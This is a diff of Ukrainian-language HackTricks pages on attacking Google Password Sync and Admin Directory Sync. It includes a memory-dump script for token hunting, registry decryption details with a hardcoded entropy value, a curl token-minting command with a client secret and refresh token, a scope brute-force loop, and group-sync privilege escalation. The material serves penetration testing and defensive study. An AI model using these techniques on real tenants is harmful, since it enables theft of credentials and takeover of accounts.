<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Потім, з **токеном доступу** зі сферою `https://www.google.com/accounts/OAuthLogin`, можна запитати приватний ключ для розшифровки пароля:
|
||||
Потім, з **токеном доступу** з обсягом `https://www.google.com/accounts/OAuthLogin`, можна запитати приватний ключ для розшифровки пароля:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Скрипт для отримання пароля у відкритому тексті, given токен доступу, зашифрований пароль та ідентифікатор ресурсу</summary>
|
||||
<summary>Скрипт для отримання пароля у відкритому тексті, враховуючи токен доступу, зашифрований пароль та ідентифікатор ресурсу</summary>
|
||||
```python
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
|
||||
@@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Це двійковий файл і служба, яку Google пропонує для **синхронізації паролів користувачів між AD** та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.
|
||||
Це бінарний файл і служба, яку Google пропонує для **синхронізації паролів користувачів між AD** та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.
|
||||
|
||||
Він встановлюється в `C:\Program Files\Google\Password Sync`, де ви можете знайти двійковий файл `PasswordSync.exe` для його налаштування та `password_sync_service.exe` (служба, яка продовжить працювати).
|
||||
Він встановлюється в `C:\Program Files\Google\Password Sync`, де ви можете знайти бінарний файл `PasswordSync.exe` для його налаштування та `password_sync_service.exe` (служба, яка продовжить працювати).
|
||||
|
||||
### GPS - Configuration
|
||||
### GPS - Налаштування
|
||||
|
||||
Щоб налаштувати цей двійковий файл (і службу), потрібно **надати доступ до Super Admin principal в Workspace**:
|
||||
Щоб налаштувати цей бінарний файл (і службу), потрібно **надати доступ до супер адміністратора в Workspace**:
|
||||
|
||||
- Увійдіть через **OAuth** з Google, а потім він **зберігатиме токен у реєстрі (зашифрований)**
|
||||
- Увійдіть через **OAuth** з Google, після чого він **зберігатиме токен у реєстрі (зашифрований)**
|
||||
- Доступно лише на контролерах домену з GUI
|
||||
- Надати деякі **облікові дані Service Account з GCP** (json файл) з правами на **управління користувачами Workspace**
|
||||
- Надання деяких **облікових даних служби з GCP** (json файл) з правами на **управління користувачами Workspace**
|
||||
- Дуже погана ідея, оскільки ці облікові дані ніколи не закінчуються і можуть бути зловживані
|
||||
- Дуже погана ідея надавати SA доступ до Workspace, оскільки SA може бути скомпрометований у GCP, і це може дозволити перейти до Workspace
|
||||
- Google вимагає це для контролю домену без GUI
|
||||
- Ці облікові дані також зберігаються в реєстрі
|
||||
|
||||
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано опцію облікових даних, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
|
||||
Щодо AD, можливо вказати використовувати поточний **контекст додатків, анонімний або деякі специфічні облікові дані**. Якщо вибрано варіант облікових даних, **ім'я користувача** зберігається в файлі на **диску**, а **пароль** є **зашифрованим** і зберігається в **реєстрі**.
|
||||
|
||||
### GPS - Dumping password and token from disk
|
||||
### GPS - Витяг пароля та токена з диска
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатний виявити **GPS**, отримати інформацію про конфігурацію та **навіть розшифрувати пароль і токен**.
|
||||
@@ -36,7 +36,7 @@
|
||||
Зашифрований токен (якщо є) знаходиться в ключі **`AuthToken`** і зашифрований за допомогою **`CryptProtectData`** API. Щоб розшифрувати його, потрібно бути тим же користувачем, що налаштував синхронізацію паролів, і використовувати цю **ентропію** при використанні **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Більше того, він також кодується за допомогою base32hex з словником **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, і інструмент **показуватиме значення для використаної ентропії** в обох випадках:
|
||||
Значення ентропії були знайдені за допомогою інструменту. Він був налаштований для моніторингу викликів до **`CryptUnprotectData`** та **`CryptProtectData`**, а потім інструмент використовувався для запуску та моніторингу `PasswordSync.exe`, який розшифрує налаштований пароль і токен авторизації на початку, а інструмент **показуватиме значення для використаної ентропії** в обох випадках:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,14 +44,14 @@
|
||||
|
||||
У разі, якщо синхронізація паролів була **налаштована з обліковими даними SA**, вона також буде зберігатися в ключах у реєстрі **`HKLM\Software\Google\Google Apps Password Sync`**.
|
||||
|
||||
### GPS - Dumping tokens from memory
|
||||
### GPS - Витяг токенів з пам'яті
|
||||
|
||||
Так само, як і з GCPW, можливо вивантажити пам'ять процесу `PasswordSync.exe` та процесу `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Так само, як і з GCPW, можливо витягти пам'ять процесу `PasswordSync.exe` та процесу `password_sync_service.exe`, і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Я думаю, ви також могли б знайти налаштовані облікові дані AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
|
||||
<summary>Витягніть <code>PasswordSync.exe</code> та <code>password_sync_service.exe</code> процеси та шукайте токени</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
@@ -129,7 +129,7 @@ Write-Output ""
|
||||
|
||||
### GPS - Генерація токенів доступу з токенів оновлення
|
||||
|
||||
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
Використовуючи токен оновлення, можна генерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
@@ -137,18 +137,18 @@ curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.goo
|
||||
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
### GPS - Scopes
|
||||
### GPS - Сфери
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що навіть маючи refresh token, неможливо запитати жоден scope для access token, оскільки ви можете запитувати лише **scopes, підтримувані додатком, в якому ви генеруєте access token**.
|
||||
> Зверніть увагу, що навіть маючи токен оновлення, неможливо запитати жодну сферу для токена доступу, оскільки ви можете запитувати лише **сфери, підтримувані додатком, в якому ви генеруєте токен доступу**.
|
||||
>
|
||||
> Крім того, refresh token не є дійсним у кожному додатку.
|
||||
> Крім того, токен оновлення не є дійсним у кожному додатку.
|
||||
|
||||
За замовчуванням GPS не матиме доступу як користувач до кожного можливого OAuth scope, тому, використовуючи наступний скрипт, ми можемо знайти scopes, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
За замовчуванням GPS не матиме доступу як користувач до кожної можливої OAuth сфери, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з `refresh_token` для генерації `access_token`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script to brute-force scopes</summary>
|
||||
<summary>Bash скрипт для брутфорсу сфер</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -179,6 +179,6 @@ https://www.googleapis.com/auth/admin.directory.user
|
||||
Який є тим самим, що ви отримуєте, якщо не вказати жодної області.
|
||||
|
||||
> [!CAUTION]
|
||||
> З цією областю ви могли б **змінити пароль існуючого користувача для ескалації привілеїв**.
|
||||
> З цією областю ви могли б **змінити пароль існуючого користувача для підвищення привілеїв**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
Основна різниця між цим способом синхронізації користувачів з GCDS полягає в тому, що GCDS виконується вручну з деякими бінарними файлами, які потрібно завантажити та запустити, тоді як **Admin Directory Sync є безсерверним** і керується Google на [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
Головна різниця між цим способом синхронізації користувачів з GCDS полягає в тому, що GCDS виконується вручну з деякими бінарними файлами, які потрібно завантажити та запустити, тоді як **Admin Directory Sync є безсерверним** і керується Google на [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
На момент написання цього матеріалу ця служба знаходиться в бета-версії і підтримує 2 типи синхронізації: з **Active Directory** та з **Azure Entra ID:**
|
||||
|
||||
- **Active Directory:** Щоб налаштувати це, вам потрібно надати **доступ Google до вашого середовища Active Directory**. Оскільки Google має доступ лише до мереж GCP (через **VPC connectors**), вам потрібно створити конектор, а потім зробити ваш AD доступним з цього конектора, розмістивши його на ВМ у мережі GCP або використовуючи Cloud VPN або Cloud Interconnect. Потім вам також потрібно надати **облікові дані** облікового запису з правами читання на каталог та **сертифікат** для зв'язку через **LDAPS**.
|
||||
- **Azure Entra ID:** Щоб налаштувати це, потрібно просто **увійти в Azure з користувачем з правами читання** на підписку Entra ID у спливаючому вікні, яке відобразить Google, і Google зберігатиме токен з правами читання на Entra ID.
|
||||
- **Active Directory:** Щоб налаштувати це, вам потрібно надати **доступ Google до вашого середовища Active Directory**. Оскільки Google має доступ лише до мереж GCP (через **VPC connectors**), вам потрібно створити конектор, а потім зробити ваш AD доступним з цього конектора, розмістивши його на ВМ у мережі GCP або використовуючи Cloud VPN або Cloud Interconnect. Потім вам також потрібно надати **облікові дані** облікового запису з правами читання на директорію та **сертифікат** для зв'язку через **LDAPS**.
|
||||
- **Azure Entra ID:** Для налаштування цього потрібно просто **увійти в Azure з користувачем з правами читання** на підписку Entra ID у спливаючому вікні, яке відобразить Google, і Google зберігатиме токен з правами читання на Entra ID.
|
||||
|
||||
Після правильного налаштування обидва варіанти дозволять **синхронізувати користувачів та групи з Workspace**, але не дозволять налаштовувати користувачів та групи з Workspace до AD або EntraID.
|
||||
|
||||
@@ -20,38 +20,38 @@
|
||||
- Вибрати **групи, що містять користувачів**, які будуть синхронізовані.
|
||||
- Вибрати **групи** для синхронізації та створення в Workspace (або вказати на синхронізацію всіх груп).
|
||||
|
||||
### From AD/EntraID -> Google Workspace (& GCP)
|
||||
### З AD/EntraID -> Google Workspace (& GCP)
|
||||
|
||||
Якщо вам вдасться скомпрометувати AD або EntraID, ви отримаєте повний контроль над користувачами та групами, які будуть синхронізовані з Google Workspace.\
|
||||
Однак зверніть увагу, що **паролі**, які можуть використовувати користувачі в Workspace, **можуть бути однаковими або ні**.
|
||||
Однак зверніть увагу, що **паролі**, які користувачі можуть використовувати в Workspace, **можуть бути однаковими або ні**.
|
||||
|
||||
#### Attacking users
|
||||
#### Атака на користувачів
|
||||
|
||||
Коли відбувається синхронізація, можуть синхронізуватися **всі користувачі з AD або лише ті, що з конкретного OU** або лише **користувачі, які є членами конкретних груп в EntraID**. Це означає, що для атаки на синхронізованого користувача (або створення нового, який буде синхронізований) вам спочатку потрібно з'ясувати, які користувачі синхронізуються.
|
||||
Коли відбувається синхронізація, можуть синхронізуватися **всі користувачі з AD або лише ті, що з конкретного OU**, або лише **користувачі, які є членами конкретних груп в EntraID**. Це означає, що для атаки на синхронізованого користувача (або створення нового, який буде синхронізований) вам спочатку потрібно з'ясувати, які користувачі синхронізуються.
|
||||
|
||||
- Користувачі можуть **повторно використовувати пароль або ні з AD або EntraID**, але це означає, що вам потрібно **скомпрометувати паролі користувачів для входу**.
|
||||
- Якщо у вас є доступ до **електронних листів** користувачів, ви можете **змінити пароль Workspace для існуючого користувача**, або **створити нового користувача**, почекати, поки він буде синхронізований, і налаштувати обліковий запис.
|
||||
- Якщо у вас є доступ до **електронних листів** користувачів, ви можете **змінити пароль Workspace існуючого користувача**, або **створити нового користувача**, почекати, поки він буде синхронізований, і налаштувати обліковий запис.
|
||||
|
||||
Після того, як ви отримаєте доступ до користувача в Workspace, йому можуть бути надані деякі **дозволи за замовчуванням**.
|
||||
|
||||
#### Attacking Groups
|
||||
#### Атака на групи
|
||||
|
||||
Вам також потрібно спочатку з'ясувати, які групи синхронізуються. Хоча існує можливість, що **ВСІ** групи синхронізуються (оскільки Workspace це дозволяє).
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що навіть якщо групи та членства імпортуються в Workspace, **користувачі, які не синхронізуються в синхронізації користувачів, не будуть створені** під час синхронізації груп, навіть якщо вони є членами будь-якої з синхронізованих груп.
|
||||
|
||||
Якщо ви знаєте, які групи з Azure отримують **дозволи в Workspace або GCP**, ви можете просто додати скомпрометованого користувача (або новоствореного) до цієї групи та отримати ці дозволи.
|
||||
Якщо ви знаєте, які групи з Azure мають **призначені дозволи в Workspace або GCP**, ви можете просто додати скомпрометованого користувача (або новоствореного) до цієї групи та отримати ці дозволи.
|
||||
|
||||
Існує ще один варіант зловживання існуючими привілейованими групами в Workspace. Наприклад, група `gcp-organization-admins@<workspace.email>` зазвичай має високі привілеї над GCP.
|
||||
Є ще один варіант зловживання існуючими привілейованими групами в Workspace. Наприклад, група `gcp-organization-admins@<workspace.email>` зазвичай має високі привілеї над GCP.
|
||||
|
||||
Якщо синхронізація, наприклад, з EntraID до Workspace **налаштована на заміну домену** імпортованого об'єкта **електронною адресою Workspace**, зловмисник зможе створити групу `gcp-organization-admins@<entraid.email>` в EntraID, додати користувача до цієї групи та почекати, поки відбудеться синхронізація всіх груп.\
|
||||
**Користувач буде доданий до групи `gcp-organization-admins@<workspace.email>`, підвищуючи привілеї в GCP.**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
### З Google Workspace -> AD/EntraID
|
||||
|
||||
Зверніть увагу, що Workspace вимагає облікові дані з правами лише на читання для синхронізації користувачів та груп з AD або EntraID. Тому неможливо зловживати Google Workspace для внесення будь-яких змін в AD або EntraID. Отже, **це неможливо** на даний момент.
|
||||
|
||||
Я також не знаю, де Google зберігає облікові дані AD або токен EntraID, і ви **не можете відновити їх, переналаштувавши синхронізацію** (вони не з'являються у веб-формі, вам потрібно ввести їх знову). Однак з вебу може бути можливим зловживання поточною функціональністю для **переліку користувачів та груп**.
|
||||
Я також не знаю, де Google зберігає облікові дані AD або токен EntraID, і ви **не можете відновити їх, переналаштувавши синхронізацію** (вони не з'являються у веб-формі, вам потрібно ввести їх знову). Однак з веб-інтерфейсу може бути можливим зловживати поточною функціональністю для **перегляду користувачів та груп**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user